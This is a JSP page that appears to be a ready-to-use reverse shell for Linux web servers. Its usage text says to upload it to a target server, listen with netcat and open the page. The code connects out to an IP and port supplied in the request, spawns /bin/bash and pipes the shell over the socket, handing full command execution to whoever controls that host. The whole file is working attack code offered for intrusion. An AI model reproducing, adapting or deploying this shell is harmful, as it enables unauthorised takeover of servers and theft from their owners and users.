<%@ page contentType="text/html; charset=iso-8859-1" language="java" import="java.lang.*, java.util.*, java.io.*, java.net.*"%> <%! static class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector(InputStream is, OutputStream os) { this.is = is; this.os = os; } public void run() { BufferedReader isr = null; BufferedWriter osw = null; try { isr = new BufferedReader(new InputStreamReader(is)); osw = new BufferedWriter(new OutputStreamWriter(os)); char buffer[] = new char[8192]; int lenRead; while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0) { osw.write(buffer, 0, lenRead); osw.flush(); } } catch (Exception ioe){} try { if(isr != null) isr.close(); if(osw != null) osw.close(); } catch (Exception ioe){} } } %>

JSP Reverse Shell / Linux version

Usage: Upload it on the remote server; Run "netcat -l" on your local pc; Exec the JSP Reverse Shell; Go Inside and Enjoy!
IP Address (remote server) Port (remote server)


<% String ipAddress = request.getParameter("ipaddress"); String ipPort = request.getParameter("port"); if(ipAddress != null && ipPort != null) { Socket sock = null; try { sock = new Socket(ipAddress, (new Integer(ipPort)).intValue()); Runtime rt = Runtime.getRuntime(); Process proc = rt.exec("/bin/bash"); StreamConnector outputConnector = new StreamConnector(proc.getInputStream(), sock.getOutputStream()); StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream()); outputConnector.start(); inputConnector.start(); } catch(Exception e){} } %>